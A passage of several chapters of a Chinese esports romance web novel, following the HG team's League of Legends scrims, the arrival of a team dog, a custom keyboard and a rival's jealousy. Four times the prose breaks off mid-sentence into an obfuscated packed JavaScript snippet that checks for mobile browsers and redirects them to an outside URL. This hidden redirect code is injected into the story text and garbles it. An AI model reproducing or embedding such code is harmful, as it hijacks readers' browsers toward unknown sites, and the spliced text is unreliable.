双方利落的开始游戏,不同于PNG和HTT,TOP并没有针对廖望延进行ban位安排,而是综合版本优势英雄进行禁用。 老姚照旧在第一把让选手们选出了偏前期的阵容,这是他们最熟悉也最有把握赢下比赛的方式。TOP也一如既往的选择了中后期阵容。 双方经过bp后阵容如下: HG:鳄鱼、塞拉斯、加里奥、卢锡安、布隆。 TOP:奎桑提、佛耶戈、卡牌、轮子妈、芮尔。 双方打野开局都没有选择入侵对面野区,安心刷完自家两片野区后开始争夺河道资源。 廖望延选择拿上河道河蟹,一来邵乖的鳄鱼非常需要前期优势,二来下路TOP二人组也不好杀,不如将重心放在中上路,下路进行放养。 在中路进行蹲伏发现没有gank机会廖望延也没多停留,从大龙坑上方开着扫描进了对方野区,在TOP上路一塔后方的草丛阴着。 “邵乖,兵线推进来。” “爷来啦!” 一大波兵线进塔,廖望延先走出草丛卡住位置,在兵堆里找到空挡E到奎桑提成功控住,邵乖的怒气状态也比较好,二人一套技能下来奎桑提血量已经见底。 “我不能扛了,你上。” 廖望延丝血后撤拉开防御塔仇恨,邵乖迎头冲上成功击杀对方上单,下路双人组却被对方打野佛耶戈成功打出两个闪现。 “稳住,下路可以不杀,但是一定别死。”廖望延嘱咐道。 “明白。” “嗯。” 左星水与Nap同时回答。 因廖望延在上路,而TOP打野在下路,双方很有默契的互换到了资源,廖望延拿到巢虫,zzzheng换到第一条小龙。 回家补给装备后的廖望延又一次去往上路,上路兵线卡在河道正中间,他没再复刻上一波入侵野区,而是选择从河道草丛蹲伏。 他有预感,对方要来人。 刚刚廖望延指挥于琰往回收兵线,为的就是引诱卡牌能去边路找机会。 果不其然,卡牌从中路消失了。 “邵乖,往河道靠一点,卡牌大概率要来上,不要让奎桑提发现。” 在卡牌即将接触到自己蹲伏的草丛时,廖望延E出来控住他。 于琰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711101|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚卡牌几秒清完兵线,双方开始打架的时候他刚走到蓝buff处。 对方佛耶戈也露了头,双方在上路形成一个2v3的局面。 由于卡牌先被控住,且邵乖距离河道的位置比奎桑提更近,HG抓到了先机。邵乖趁着卡牌无法动弹的时候闪现加位移加控制,配合廖望延将卡牌打至半血以下。 “于琰!快!” “来了来了!” 卡牌反手切出黄牌控住邵乖,但于琰的加里奥也通过爆炸果实加入战场。 加里奥的W是群控技能,只要在技能范围内的英雄都会被控住,对于此时基本都在脸贴脸打架的众人来说,这个技能至关重要。 “卡牌死了!先杀佛耶戈!”于琰边说边操作。他成功控到对面奎桑提与卡牌,集火之下后者先行阵亡。 打野佛耶戈想掩护自家上单撤退,但前期拿到人头的邵乖不会这么简单的放过他们两个人,HG三人都有位移+控制技能,相较之下人数劣势的TOP双人就显得有些捉襟见肘。 一番乱战下,TOP打野被击杀,人头给到廖望延,奎桑提凭借基础生命值高与技能特点逃出生天。 令廖望延意外的是,明明少两个技能正处于劣势的下路也在这时传来击杀信息。 左星水的卢锡安成功击杀对方辅助芮尔。 “nice水哥。”廖望延夸道。 Nap突然开口:“为什么只夸水哥不夸我?” “还争上宠了?都nice都nice。”于琰随口说。 廖望延也乐了一声,说:“不愧是LPL顶尖辅助Nap选手。” 听着Nap的“哼”声,众人驱散了一些训练赛的紧张感。 前期拿到两个人头的鳄鱼基本可以解放,廖望延还是不打算帮助下路,而是决定在河道资源上进行抢夺,毕竟现在HG经济占优,就要趁敌人乱要敌人命。 TOP也深知现在打团胜率很低,自家英雄都是偏中后期的阵容,只能放弃与HG正面对抗。 “邵乖于琰,盯着郑凡别让他偷先锋,水哥Nap跟我来。” 廖望延什么都要,在对方的虎视眈眈下成功拿到小龙又返身去上河道。 他不怕对面以多打少,于琰的大招能及时赶到战场,邵乖的传送也蓄势待发,对面如果想苟,就只能放弃大部分资源龟缩线上。 TOP陷入了僵局,HG在优势之下蚕食掉了几乎70%-80%的野区资源,除了兵线之外他们没有可发育的地方,强行打小规模团战的话HG支援又很快,局势对于TOP来说开始慢性死亡。 区别于TOP的畏首畏尾,HG进入到了自己熟悉的前期节奏。廖望延又帮邵乖gank了一次,还放出了峡谷先锋,让邵乖既拿到了上路一塔的所有塔皮,又将二塔撞至半血,奎桑提也送出了自己在本局内的第二个人头。 “老子简直富得流油。”邵乖感叹道。 在廖望延帮邵乖的同时,于琰也开始帮助左星水和Nap建立优势,对面下路双人只能放弃一塔回防二塔。 节奏对于HG来说非常完美,后面的十多分钟里,TOP又陆续送出了三个人头,HG也拿到了几乎所有地图资源。 不讲道理的推进让TOP进退两难,不得不选择放手一搏。 辅助芮尔从夹角闪现过来控住HG前排,卢锡安位移向后放出圣枪洗礼。 塞拉斯偷到对方辅助大招,闪现+位移反手控住对方双c,邵乖开大进场,于琰也开W控住前排,给左星水创造出充足的输出条件。 于琰:“水哥,先杀佛耶戈。” 廖望延:“邵乖,杀卡牌。” 经济差异导致TOP没有太多还手之力就全员阵亡,只换掉了廖望延一人。HG顺势拆掉高地水晶与两座门牙塔,活着的四人站在红方水晶前亮出阿木木哭泣的图标表情。 老姚在几人身后笑骂:“靠,一会TOP教练发语音骂我了。” 39.Chapter 39 第二局训练赛老姚决定让众人和TOP玩一样的后期运营阵容。运营一直是HG相对短板的地方,但不练也不行,多一种短板就多一种输游戏的方式,所以即便是捏着几个队员的鼻子也必须这么做。 双方经过勾心斗角的bp,最终阵容敲定下来。 TOP:格温、波比、辛德拉、大嘴、璐璐。 HG:奥恩、瞎子、发条、金克丝、锤石。 双方前期都在互相试探,人头在前十分钟都没怎么爆发。 要么就是廖望延打出对面的闪现,要么就是zzzheng打出己方的双招,两支队伍有来有回经济咬的非常紧。 “靠,这郑大眼怎么又来了。” 于琰边念叨边退到防御塔下,短短十几分钟郑凡已经来他中路三四次了,为了压制他的发育无所不用其极。 “兵线别推太深,我一直在帮下路,上路邵乖又不好抓,他只能从你身上找机会,别急,一会我来帮你。” “快来,老子要被他烦死了。” 廖望延一直帮下路是有原因的。首先Nap选的是锤石这种抽奖英雄,先手能勾中的话大概率能拿到些东西,其次对面辅助是个软辅,虽然璐璐有变羊这种恶心技能,但依然无法弥补英雄天性就脆的属性,如果能帮下路先推掉一塔,Nap就可以跟着自己去另外两路做事了。 说话间,他又一次蹲在下路二草,这个草丛是Nap已经扫描过的,并没有视野,廖望延摸进来的时候下路双人也正好将兵线推到对方塔下,TOP二人看不见瞎子的行踪。 “水哥,把线收回来,Nap准备上。”廖望延说。 “ok。” 左星水的金克丝开始只补最后一下兵,Nap也装作正常对线,时不时往前走一下逼退对方走位,但钩子始终未出。 廖望延看准时机插眼摸出来,闪现到璐璐身后将她踢回左星水面前,Nap也在那一瞬间出勾,二人配合完美将辅助成功控住。 左星水一直保持着安全距离,璐璐无法把他变羊就只能变Nap,又给自己套上回血大招。 大嘴一直在点廖望延,后者也不慌,Q到大嘴却不急于位移过去,反倒是大嘴因为身上有印记不敢持续输出。 璐璐在后撤途中被金克丝减速,又被Nap的E摆回来,踩中金克丝的夹子,最终无力反抗,人头被左星水拿下。 “nice。” 廖望延说完位移到Nap身上,躲进草丛里回城。 正当他回到一半,TOP打野波比出现在下路,他取消回城等待机会。 波比的出现让大嘴有了底气前压,刚才打完之后HG三人都不是满血,但波比却是满血带着所有技能过来的。 “延哥,看我位置。” “好。” Nap说完假意后退,却在大嘴前压时闪勾住他,波比将他推到墙上但此时瞎子也WQQE一套技能贴脸大嘴。 波比蓄力大招将Nap锤飞到二塔,左星水距离拉扯得很好,一直在远程输出。 没有Nap在旁边扛伤害,所有输出都灌到了廖望延身上,他没技能没血,人头被大嘴拿下。 但没人看管的左星水就开心多了,把被廖望延打到残血的大嘴A死,波比见势闪现往后逃跑。 “水哥别追了,他进塔就算了。” 廖望延要是不说这话,左星水能扛着塔去点人。 自家ad太勇猛有时候也不是什么好事。 左星水“嗯”了一声开始补兵,却在众人未注意的时候朝着蓝色方野区石头人方向放出大招—— 一枚超究极死神飞弹。 粉红色的炸弹顺着炮膛射出,左星水在盲视野的情况下预判波比回城位置。 一秒后,地图传来播报。 水星没有水(暴走萝莉)击杀了zzzheng(圣锤之毅)。 于琰:“我靠,牛啊水哥。” 廖望延:“6。” 邵乖:“我也想杀人……” Nap:“没我助攻!” 左星水没说话,清完兵在塔下回城,听着众人的夸奖在屏幕前默默推了一下眼镜。 刚才那波团战虽然廖望延牺牲了自己,但是左星水拿到了三个人头,对面波比也死了,野区资源没有被抢,HG大赚。 借着这波节奏,廖望延又去了下路一次,这次是帮下路把一塔成功拔掉,将左星水和Nap换去上路,邵乖则是换到下路继续发育。 “廖望延,十秒钟之内不来帮我gank我就去死。”于琰面无表情地威胁。 这局他是最没游戏体验的人。 别看邵乖一直逼逼打的难受,但他也就是被压了十来刀,和格温起码比较和平。 但于琰就不一样了。辛德拉虽然经过重做后前期能力减弱,但发条前期也不强,出水银鞋之前于琰都必须保守着打,更何况那个该死的郑大眼还几次三番的来gank,让他心累的要命。 一声轻笑从耳机传进于琰耳朵里。 “你爹这就来,等着。” 廖望延打完上路河道蟹就开着扫描绕进对方上野区。 插眼、摸眼、回旋踢,一套连招将辛德拉踢到发条脸上。 于琰QRWEQ将辛德拉打至残血,配合脱离防御塔伤害的廖望延成功将辛德拉击杀。 可惜,人头被廖望延拿到。 于琰“嘶”了一声,转过头怒目圆瞪地看着廖望延,毫不留情地一拳怼上他肩膀,吼道:“老子都这么惨了你还抢我人头?” “失误失误。” 廖望延把右手从鼠标上抬起,伸过去揉了揉于琰的脑袋,被后者摇着头甩开也仍旧乐呵呵的。 人头是他故意抢的。 他就是喜欢看于琰被自己气得吹胡子瞪眼。 廖望延短短五分钟内跟队友拿下四个人头,经济差逐渐开始显露。 但zzzheng也不是吃素的,在廖望延帮于琰的时候,他也成功配合格温拿到了邵乖的人头。 双方打野开始你来我往。 你杀我中单,我杀你上单。你杀我辅助,我杀你ad。 TOP不愧是老牌运营强队,即便前期落后三个头的情况下,经济差也一直被他们稳定在2000以内,无论HG怎么找机会,他们都能在其他地方将经济补回来。 时间一眨眼已经超过32分钟。 此时人头比为TOP6-9HG,双方的三路外塔均被对方拆掉,马上远古龙就要刷新。 双方都知道,这条龙将会决定这局比赛的胜负,除了两个上单还在边路,剩余八人皆聚在龙坑附近步视野排视野。 TOP插一个,HG排一个。HG插一个,TOP排一个。 34分钟时,远古龙刷新,双方上单也来到正面战场。 TOP中单辛德拉先手QE控住Nap,波比也配合着将Nap推到墙上,大嘴被璐璐套上加速开始走A。 Nap分秒之下被对方打至残血,临死前勾到对面格温放出大招就先行阵亡。 “草,我的。”Nap恼怒地挠了挠头。 廖望延:“水哥于琰注意位置。” 邵乖:“羊来了羊来了!” 声音刚落,邵乖放出大招,却在二次施放技能的时候被波比一个大招锤走老远。 “草!” 剩下在战场的三人没空回话,只能边退边打。 于琰厉声说:“廖望延,我球在你身上。” 被提到的人秒懂他的意思,却不急着上。 现在对方5打3,迫切想要追击,HG只剩两个脆皮和一个半肉瞎子,对于TOP来说形势大好。 人太急就会露出破绽。 追击HG三人时,TOP五人出现了一瞬间的靠在一起。 廖望延看准时机Q到对面前排,当他进入对面人堆的一刹那,于琰按出大招。 憋屈了30 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711102|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多分钟,此时的于琰已经五件套了,只剩半件装备就能六神装,为了针对波比他还特意出了法穿杖,一件防装都没做,连金身都没出,出的全都是伤害性装备。 后期发条的连招可不是能随便吃的。 在廖望延扛伤害的同时,被锤走的邵乖也重新返回战场。 鲨鱼之王(发条魔灵)双杀! 大嘴和璐璐被于琰杀掉,而被集火下,廖望延成为HG第二个死亡的人。 蓝色方剩余三人除了波比的血量还相对健康,其余二人也在半血以下,现在迫切后撤的队伍立刻从HG变为TOP。 HG乘胜追击,在金克丝的持续输出下TOP中单辛德拉也被拿下。 格温似乎觉得跑不掉了,索性回身开始一打三。虽然他发育比较一般,但如果能让他贴脸碰到金克丝,左星水还是必死无疑。 邵乖顶在三人的最前面,承受着格温的所有伤害。在HG双c的输出下,格温也已丝血。 此时,左星水又按下大招。 死神飞弹像是安装了巡航定位一样,直直炸在格温身上拿到人头。 对方只剩一个波比存活,HG三人不敢在己方打野不在的情况下强开远古龙,选择原地回城。 廖望延:“别回,打。” 三人没多问,同时停下回城开始rush。 十人中最先阵亡的Nap已经复活,借着海克斯科技龙的地形优势,他从自家野区直接传送到了小龙坑后面。 “Nap找波比,防他抢龙。”廖望延指挥道。 “明白。” Nap开着扫描从龙坑附近徘徊,还真让他找到了蹲在红buff处等机会的波比。 金克丝rush龙的速度很快,前面还有奥恩在扛伤害,没多大一会就将远古龙打至残血。 Nap已经将爆炸果实全部点完,防止波比通过它位移下去抢龙。但明显波比的抢龙决心很足,毕竟现在廖望延不在,如果能抢下这条远古龙,TOP就还有翻盘希望。 当远古龙血量达到惩戒斩杀线时,波比想要闪现下龙坑,却被时刻提防他的Nap一个预判勾控住。 差之毫厘失之千里,HG成功拿下远古龙,而波比也被绕过来的几人击杀。 邵乖:“牛逼啊小矮子。” Nap听见邵乖这句话兴奋感立刻荡然无存,咬着牙说:“老子一会就把你嘴撕了。” 此时廖望延已经复活正在往队友方向赶,而对方只活了三个人,其中波比的复活时间长达30多秒。 “大龙。”廖望延说。 没了打野的TOP三人根本不敢接近龙坑附近,只能眼睁睁看着HG双龙会。 拿到双龙的HG一路推进,TOP的负隅顽抗没能成功。 最终训练赛HG再次2-0拿下。 五人摘下耳机松了口气,老姚对着他们摇了摇手机:“跟你们说个好消息,后面两场训练赛都没了。” “啊?为啥?” “我靠?这么好?” “老天开眼!!!” 众人同时开口。 “DL没说原因,就说突然打不了了。NWG倒是说原因了,因为FLY上吐下泻。”老姚耸耸肩。 “阿弥陀佛,上天果然会眷顾善良的小男孩。”于琰双手合十说道。 老姚铁石心肠地说:“没训练赛也不证明你们就能歇着了,给你们15分钟休息时间,然后继续rank。” 众人哀嚎,但阎王爷老姚却不予理睬。 突然,于琰电话响了起来。 “喂?” “您好,是于先生吗?” “对,您哪位?” “您的宠物到门口了,麻烦您出来接一下。” “马上就来。” 挂断电话后,于琰学着老姚的动作也摇了摇手机说:“咱们吉祥物终于到了,多给点休息时间呗?” 老姚只好无奈答应。 40.Chapter 40 黑天大帝被托运人员递交给于琰,笼子里的狗兴奋得直哼哼,完全没因为两天的运输而萎靡,一看就健康的要命。 于琰拎着笼子回基地,把大帝放在大厅东侧的角落,它的狗窝就放在这,旁边还特意挪来一个小柜子,为了放各类宠物生活用品。 这个地方是刘国柱决定下来的,说是东边意味着初生,还有个成语叫紫气东来,寓意好,能让战队更上一层楼。 于琰一下子就明白了,怪不得东边第一间卧室一直没人住,廖望延来了却能被直接安排进去。 “双标狗刘国柱。” “封建迷信刘国柱。” 于琰边把狗从笼子里放出来边骂自家经理。 大帝听不懂人话,不明白身边高大的男人到底在嘟囔什么。它只知道那个眼熟的窝是自己的,这么大的房子也是自己的。 被从笼子里放出来之后它满大厅撒欢,这边跑跑那边闻闻,黑色小短尾巴甩得跟直升机螺旋桨一样。 它趁于琰不注意,一溜烟跑到了训练室门口,正赶上一大帮人开门出来,老姚走在最前面,一个没察觉差点一脚将大帝踩成小狗饼。 即便如此,老姚也被吓了一大跳,下意识把大帝踹出去两米远,虽说脚下收着劲,小贱狗还是一嗓子嚎了出来。 于琰像开了疾跑一样从狗窝跑到众人面前,大手一捞把狗拎起来360度看了好几圈,确认没事后像个指使儿子碰瓷的老母亲一般控诉老姚:“你罪恶的左脚在干什么?你知不知道你差点变成一个杀人……不是,杀狗犯?” 老姚才懒得搭理他,翻了个白眼连话茬都不接,直接去沙发上坐着玩手机了。 于琰抱着狗不依不饶地跟在老姚身后,他戏瘾犯了还没演过瘾,从老姚对面坐下继续逼逼:“没想到你是个这么无情无义的人,如果你现在悔改还来得及,只要你免掉我今天后续的训练,我就当作这件事没发生,不然你就等着赔医药费吧!” 老姚对他露出一个和蔼的笑容,说:“今天你训练到晚上12点。” 这句话比什么都好用,于琰立刻闭嘴,起身把狗放进狗窝,返身回到老姚对面坐着。 他两只手放在大腿上,像军人一样腰板竖得笔直,摆出一副坚毅的表情道:“训练是每个职业选手应尽的责任,我不该偷奸耍滑,我已经深刻意识到了自己的错误,还请组织谅解。” 旁边坐着的廖望延发出一声嗤笑,眼睛还盯着手机屏幕,嘴里却不饶人地说:“让你贱了吧唧的,该。” 于琰伸腿踹了廖望延一脚,看着老姚不像是把刚才的话当真的样子才放下心,随即伸着脖子光明正大地偷窥老狗比聊微信。 廖望延余光扫见了脖子伸出二里地的于琰,直接把手机递到他面前。 “看吧。” 于琰也没客气,接过手机就开始往上翻记录。 聊天框里是冷漠王廖望延与虚弱王FLY的究极拉扯。 【Y:还活着?】 【飞高高:暂时活下来了TvT】 【Y:哦。】 【飞高高:没了???我虚弱成这样你就只有四个字加两个标点符号???】 【Y:没死就行。】 【飞高高:过去的四年,终究是臣妾错付了。】 【飞高高:为什么不理我了?你这样让我很尴尬。】 【飞高高:廖望延!你就是用这种态度对待病人的?!】 【Y:你好烦。】 【飞高高:你看看你说的也是人话?老子上吐下泻一天了,你就这么对我?】 【Y:为啥?】 【飞高高:啥为啥?】 【Y:……上吐下泻】 【飞高高:嘿嘿,应该是因为昨天买的地摊零食不干净。】 【Y:该。】 廖望延就回到这,后面就是FLY一连串的怨妇质问。于琰边看边乐,把手机还给他的时候笑得直往他肩膀上栽。 “你说话真损。”于琰说。 冷漠王冷漠回答:“他耽误我训练赛,不损他损谁?” 于琰撇了撇嘴,和这种把训练当乐趣的人说话一点意思都没有,有这个对话的时间还不如和黑天大帝玩一会。 看着于琰要起身,廖望延给了他个眼神:“你还有10分钟陪你那个狗儿子玩,姚哥就给了半小时的休息时间。” “滚!你真晦气!” 晦气王也不恼,又低下头看手机,对话框从FLY切到K家键盘工作人员。 【键盘:Mesh,键盘到驿站了,这是取件码,你记得拿。】 【Y:ok,谢了。】 把手机塞回裤兜,他起身往门口走,于琰看见他的动作问:“干嘛去?” “少管你爹。” “你他妈的!” 驿站距离基地不算远,步行单程十分钟左右,廖望延在微信上和老姚请了20分钟假,拿完键盘又去附近的宠物用品店给贱狗买了个吃饭用的围兜。 回到基地时大厅已经没人了,他直直往狗窝那边走。大帝正趴在窝里咬发声玩具玩,看见廖望延来,它眨巴着眼睛抬头看。 某人面无表情地给他系上粉红色蕾丝蝴蝶结围兜,站起身拍拍手走人。搞不清楚状况的大帝扔掉玩具,转身拿爪子扒拉围兜玩。 廖望延搂着快递盒子进训练室,把东西直接往于琰身上一扔,从自己座位上坐下来。 于琰刚想骂街,低头一看快递盒上一个大大的K字,就知道是定制的键盘到了。 吃人嘴短拿人手软,他生生把脏字咽回嗓子眼里,给廖望延送了个飞吻:“爸爸爱你。” 廖望延扯了下嘴角开始单排,于琰则是用飞快的速度结束当下这把rank开始拆快递。 于琰身边的地上扔了一堆快递垃圾,当事人根本没空收拾,正爱不释手地捧着新键盘摸摸亲亲。 键盘是按照他的要求去定制的。套件通体白色,侧刻白色键帽,QWERT五个键上正刻SHARK五个英文字母,令他意外的是,DF两个键还印了两只小鲨鱼。 他以为右上角的旋钮会和廖望延一样是寡妇,却没想到K家还特意给自己定制了个发条缩小版。 新键盘助长气势,于琰一下子就不排斥训练了,乐乐呵呵地把新键盘换上开始快乐单排。 一晚上训练下来,于琰终于理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726418|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解了为什么自己母亲热衷于购物,新东西确实能让人心情愉悦。 他把廖望延和自己的键盘放在一起,用手机拍了张照发上微博,配文:父子键盘~ 本来他是只想发在朋友圈的,但脑子一转又觉得自己微信里的人太少了,这么漂亮的键盘必须广而告之,所以他决定—— 双管齐下,两个平台都发。 朋友圈清一色的键盘好评,微博的画风就诡异多了。 【黑父白子?】 【这真不是我腐眼看人基吧?说是父子,其实更像……嘿嘿~】 【楼上的,你不敢说我替你说,什么父子键盘啊,这不就是情侣键盘吗。】 【情侣键盘,get√】 【邵乖、左星水、吴醒哭晕在厕所,醒来后还得扯着Mesh的衣领问他为什么没有自己的。】 【键盘真的很好看,这个联名款我很愿意买单。】 【寡妇配发条,啧啧。】 于琰没有看微博评论区的习惯,通常都是发完就扔到一边不管了,倒是廖望延时常视奸他的所有社交媒体。 就在此时,某个闷骚男躺在床上看着于琰的评论区,挑着眉用小号给那两条情侣键盘的评论点了个赞。 - DL基地。 钟络训练到凌晨两点,准备休息一会。 他点燃一支烟,深吸了一口重重靠在椅背上,夹着烟的左手指尖不自觉地轻微抖动,他皱了皱眉将烟换到右手。 从HG出来后他为了排解焦虑就学会了抽烟,不到一个月的烟龄就一天将近一包,面前的烟灰缸里永远有满满的烟头。 他用电脑打开微博,在搜索框里轻车熟路地打出HG.Shark这个关键词,界面自动跳转到了于琰的微博主页。 微信早就被拉黑,钟络看不到于琰的动态,只好时不时通过微博看看他过得怎么样,不过于琰不常发微博,他的那些日常基本只会发在朋友圈里。 百无聊赖地点开于琰的最新微博,鼠标光标停留在第一条动态上,他的眼睛死死盯着那张照片。 几秒后,他笑了一声。 训练室里现在只剩他一人,其余队友早已回屋休息,他的那声笑回荡在整个房间里,讥讽且阴森。 钟络点开大图,鼠标挪动着在屏幕上描摹两把键盘的轮廓,又情不自禁地放大看它们的所有细节。 他边看边笑,声音由小变大,似乎根本不在意自己的声音是否会影响到队友休息。 他笑弯了腰,趴在桌子上将头闷进胳膊里,肩膀微微耸动,右手夹着的烟烧到了他的指尖,但他却像毫无察觉一般仍旧捏着烟头。 半晌后他直起身子,似是刚刚笑得太厉害,显得他眼角处有些泛红。 他将烟头随手扔在地上,又点开评论区,点赞最高的两条就是情侣键盘,他看着那四个字,猛地将鼠标砸到墙上,喃喃道—— “所以你到底在装什么啊……” “什么狗屁发小,什么狗屁哥们,真恶心。” “哈哈,公私分明,好一个公私分明。” “真他妈恶心,于琰你真恶心透了。” “草。” 41.Chapter 41 于琰不知道自己随手发的那条微博又让钟络误会了。 不过他也不在意。 NWG取消训练赛,廖望延起码还简单慰问了一下病号。DL那边根本无人在意。 在钟络因为两把键盘的照片睡不着觉的时候,始作俑者照常一觉睡到转天上午,全然忘了前一天信誓旦旦地说要早起照顾黑天大帝这件事。 这苦逼差事自然而然落在了每天早起晨跑的某位冤种身上。 廖望延早起下楼就看见白瓷砖上的一摊狗屎,他捏着鼻子用纸巾包着屎扔进垃圾桶,又用湿巾反复擦了好几遍,直到地面亮得直反光他才罢休。 廖望延拎着垃圾袋居高临下地俯视某条造粪机器,神色冷得瘆人。 黑天大帝压根不惧,晃着尾巴哼哼唧唧地蹭他裤脚,绕着他的脚边来回转圈。 廖望延瞥了一眼狗盆,比地面都干净。 他叹了口气,把垃圾袋放在地上,任劳任怨地给狗冲奶粉,又蹲在一旁看它喝完,将狗盆重新洗净放在窝边。 他抬腕看了一眼手表上的时间,拎起垃圾准备出门跑步,但吃饱喝足的狗现在精力充沛得很,咬着他的裤脚就不撒口了。 廖望延拎起狗的后颈,抬到与自己眉眼齐平的高度,面无表情地和它对话:“别犯贱,我现在要去锻炼了。” “汪!” “叫也没用,你就和你那个死爹一样,除了吃饭拉屎什么都不会干。” “汪汪!” “什么意思?你对我刚才的话有意见?” “呜~汪!” 种类不同的两个生物对话起来却毫无压力,廖望延用舌头顶了顶腮帮子,不耐烦地将狗揣进衣兜大步上了楼。 走到于琰卧室门口,他门也没敲,拧了把手就径自走进去。 房间里拉着双层厚重的遮光窗帘,一点光都照不进来,要不是廖望延开门往里面透了些光,进这间屋子的人就和盲人没什么区别。 廖望延大步迈到窗旁,唰唰两下拉开窗帘,随即看向床上。 于琰没被声响和光照吵醒,他背对窗户侧躺着。许是房间温度太高,他上半身不着寸缕,下半身穿着宽松的五分睡裤,被子只堪堪盖住侧腰,骑着棉被搂着枕头睡得正香。 廖望延一瞬间差点忘了自己进来是干嘛的,目光灼灼盯着于琰光洁的脊背。 有些内扣的姿势凸显出于琰肩胛骨的形状,他不算精瘦的类型,但也绝称不上微胖,细腻白皙的皮肤刺得廖望延莫名有点眼疼,但他却舍不得移开视线。 他近乎露骨地用双眼肆意逡巡这副身体,从脖颈到肩背,自窄腰到翘臀,最后将视线落于小腿与脚踝。 他像欣赏油画一样让目光放肆游移了半晌,感受到衣服里吉祥物的蠕动才猛然回神。 廖望延垂眼滚动了两下喉结,从兜里掏出比手掌大不了多少的狗,随手扔到了床上。 也不知道是故意还是无意,狗的落点正好在于琰的屁股上。 于琰在睡梦中突然感觉屁股上落了个东西,这东西还在不停蠕动,他伸手一摸还毛茸茸的,吓得他一激灵坐了起来。 黑天大帝被于琰这套动作搞得差点没栽下床,廖望延眼疾手快一把从床边捞起了它,又重新将它扔回于琰身上。 看着裸着上半身还在状况外的男生,廖望延压下眸子里的晦暗,淡然道:“当爹的有义务陪儿子消磨精力,专属亲情快递已送达,麻烦您签收一下。” 于琰睁着两只无神的眼,先看了看床边的人,又低头看了看手里的狗,最后又把视线挪回廖望延身上,形似痴呆儿般吐出一个字:“啊?” “你的贱狗已经耽误我半小时锻炼时间了,所以我把它送到你这,还有什么不理解的吗?” “哦。” 于琰挠了挠头,又呼噜了把脸,终于把大脑成功启动。 “我陪它玩,你去吧,回来给我带份早点。” 廖望延没说好也没说不好,离开时眼神扫过他胸前,紧了紧衣兜里的拳头,快步离开了房间。 关门时他似乎没掌握好力道,门板“咣”的一声被合上,又吓了于琰一跳。 于琰看了一眼门口,低下头用食指刮挠着狗的下巴,看他舒服地眯起眼,感叹着说:“大早上就要和这个神经病共处一室,大帝,真是委屈你了。” 奶狗哼唧了两声,好似在附和他的话。 - 像逃窜一样离开于琰卧室的廖望延脚步没停,直直出了基地大门。 12月的T市彻底冷了下来,寒风刮在廖望延脸上,像是给他就快烧着了的大脑泼了盆冷水。 他在基地门口站定,仰着头重重吐出一口气,哈气在空中形成白色的雾状,他眯着眼看。 保持这个姿势呆滞了两分钟,他才重新整理好思绪,打开手表上的锻炼计时开始跑步。 他比以往多跑了半小时,但却没感觉有多累,在早点铺子给于琰买豆腐脑和油条的时候他不禁在脑子里想: 挺粉。 等他拎着温热的早点重新造访于琰卧室的时候,一人一狗早就迎着上午的太阳重新睡着了。 于琰平躺着,左手搂着枕头右手搂着狗,被子被踹到脚下一点都没盖。狗则是以团成一团的姿势老老实实窝在他腋窝下,小小一只像个黑芝麻团子。 廖望延没把人和狗叫醒,用被子将于琰的肚脐往下盖好,拎着早点回了自己卧室。 洗漱后他把那份早点吃完,心头莫名的燥意让他不想在屋里躺着,索性选择去训练室里打rank。 睡了个回笼觉的于琰直到12点才醒,还是被狗舔醒的。 他揉了揉眼,洗漱完穿好衣服趿拉着拖鞋抱狗下楼,此时基地里的其他人都已经在吃午饭了。 “吃饭怎么没人叫我?”他问。 廖望延放下筷子看着于琰讥讽道:“哪敢影响您的美梦啊。” 于琰把狗放回窝里,用热水冲好奶粉,又往狗食盆里加了点奶糕,看大帝埋头猛吃才扭头回嘴:“你又犯什么病?” “希望明天我下楼的时候不再看见狗屎,也希望我拎着早点给某人的时候他能保持清醒状态。” 于琰这才想起来,自己早上确实拜托廖望延给自己捎早点来着。 他“嘿嘿”笑了两声,走到廖望延身后搂着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740444|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脖子,用头发蹭他的耳朵撒娇道:“哎呀,忘了忘了,你就大人不记小人过,原谅小的这一次吧~” 